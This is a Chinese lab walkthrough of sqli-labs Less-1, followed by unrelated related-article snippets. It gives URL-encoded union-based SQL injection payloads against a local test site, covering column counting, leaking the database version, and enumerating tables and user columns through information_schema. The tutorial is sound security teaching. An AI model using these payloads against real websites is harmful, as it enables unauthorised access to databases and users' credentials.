SQL注入:sqli第一关

一、实验设备:

需要下载并安装phpstudy_pro,下载sqli-labs-php7-master解压到/phpstudy_pro/www中。

二、实验步骤:

1、在id=1后加入一个闭合符号“ ‘ ”,但是当你输入?id=1',是会报错的,

http://127.0.0.1/sincer/Less-1/?id=1%27

然后在后面加上--qwe将后面注释掉,如果没有报错,则证明为字符型。

http://127.0.0.1/sincer/Less-1/?id=1%27%20--%20qwe

 

 2、猜字段,使用order by查询字段个数,逐渐增加order by后面的数字,从1开始一直到报错为止,当order by到第四个字段时就报错了,所以说明有三个字段。

http://127.0.0.1/sincer/Less-1/?id=1%27%20order%20by%204%20--%20qwe

3、 用select查询三个字段,目的是为了知道那几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉,在这里查询数据库版本。但是要注意前面的id就不能是1,而是要改为id=-1,这样做的目的是为了让前面的查询语句不执行,这样后面查询的version()才能显示出来。

http://127.0.0.1/sincer/Less-1/?id=-1%27%20union%20select%201,2,3%20--%20qwe

 先用MySQL查看版本号

然后将1,2,3中的2或者3换成 version()即可

http://127.0.0.1/sincer/Less-1/?id=-1%27%20union%20select%201,version(),3%20--%20qwe

 

4、 使用show databases;查询数据库,其中的information_schema库中有我们所需要的表名与库名。

http://127.0.0.1/sincer/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--%20qwe

5、现在我们知道了security数据库中的所有表名,我们需要查询password和username,常理下这些数据库都会存储到users中,所以嘞我们现在需要查询users这个表中的所有字段是啥子。

http://127.0.0.1/sincer/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--%20qwe

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/449908.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习图像分类相关概念简析+个人举例1(ANN相关概念与计算)

(1)神经网络:英文全称Artificial Neural Network,简称为ANN。 神经网络是一种模仿人脑神经元结构和功能的人工智能模型。它由多个神经元(也称节点、单元)组成,每个神经元通过计算输入和权重的线…

实用篇 | postman在AI模型中输入speech,text,image使用详解

Postman相关直达 实用篇 | 利用FlaskPostman为深度学习模型进行快速测试(超详细)_ CSDN博客 1.基础知识 1.1.postman发送请求(json和urlencoded) 1.1.1.发送 JSON 数据请求(form-data): 要求: 请求方法:POST&#…

jQuery前段开发--星级评价和图形跟随指针移动

一、实验原理: 当鼠标移入某个星星,前面的星星都会被点亮;当鼠标移出,星星将会变暗,单击某个星星后,即可完成评论,此时鼠标移出后,被单击星星前面的星星都会被点亮,后面…

ES6-let

一、基本语法 ES6 中的 let 关键字用于声明变量,并且具有块级作用域。 - 语法:let 标识符;let 标识符初始值; - 规则:1.不能重复声明let不允许在相同作用域内重复声明同一个变量2.不存在变量提升在同一作用域内,必须先声明才能试…

Mac电脑连接linux远程桌面

起因 家庭中的内网下有一台ubuntu虚拟机,只能通过ssh终端操作或者通过实体机进行操作实在有些不方便。所以便想着通过linux远程桌面的方式进行连接,由于家庭内网,延迟还是非常低的。 步骤 首先在ubuntu虚拟机上安装xrdp(可能已…

深度解析源码,Spring 如何使用三级缓存解决循环依赖

目录 一. 前言 二. 基础知识 2.1. 什么是循环依赖? 2.2. 三级缓存 2.3. 原理执行流程 三. 源码解读 3.1. 代码入口 3.2. 第一层 3.3. 第二层 3.4. 第三层 3.5. 返回第二层 3.6. 返回第一层 四. 原理深度解读 4.1. 什么要有三级缓存? 4.2.…

ToF传感器在移动机器人中的作用

原创 | 文 BFT机器人 在日新月异的机器人技术领域,技术的无缝整合正引领着人类与机器交互方式的革新潮流。ToF传感器作为变革性创新的一个例子,对移动机器人更好地感知周围环境起到了决定性的作用。 ToF传感器与激光雷达技术在创建深度图方面有着异曲同…

Vue3学习记录(一)--- 组合式API之基础概念和变量声明

一、组合式API基础 1、简介 ​ 组合式 API (Composition API) 是Vue3和Vue2的v2.7之后版本中的全新特性,是一系列API的的集合(响应式API、生命周期钩子、依赖注入等等),其风格是基于函数的组合,以一种更直观、更灵活…

python+django+vue高校学生社团管理系统euw84

社团管理系统是一个B/S模式系统,采用django框架,MySQL数据库设计开发,充分保证系统的稳定性。在系统的测试环节,主要通过功能测试的方式,验证系统的功能设计是否符合要求,能否满足使用需求。本社团管理系统…

论文阅读-在分布式数据库环境中对哈希算法进行负载均衡基准测试

论文名称:Benchmarking Hashing Algorithms for Load Balancing in a Distributed Database Environment 摘要 现代高负载应用使用多个数据库实例存储数据。这样的架构需要数据一致性,并且确保数据在节点之间均匀分布很重要。负载均衡被用来实现这些目…

springboot并mybatis入门启动

pom.xml,需要留意jdk的版本&#xff08;11&#xff09;和springboot版本要匹配&#xff08;2.7.4&#xff09;&#xff0c;然后还要注意mybatis启动l类的版本&#xff08;2.2.2&#xff09; <?xml version"1.0" encoding"UTF-8"?> <project xm…

用免费软件分流抢票Bypass辅助购买火车票的亲测可用方法

本文介绍基于分流抢票&#xff08;Bypass&#xff09;软件&#xff0c;协助购买预售、已开售或候补等各类状态的火车票的方法。 最近几天一直没有顾得上看过年回家的火车票&#xff0c;导致错过了回家车票的开售时间&#xff0c;所以当时就直接去12306的官方网站候补了&#xf…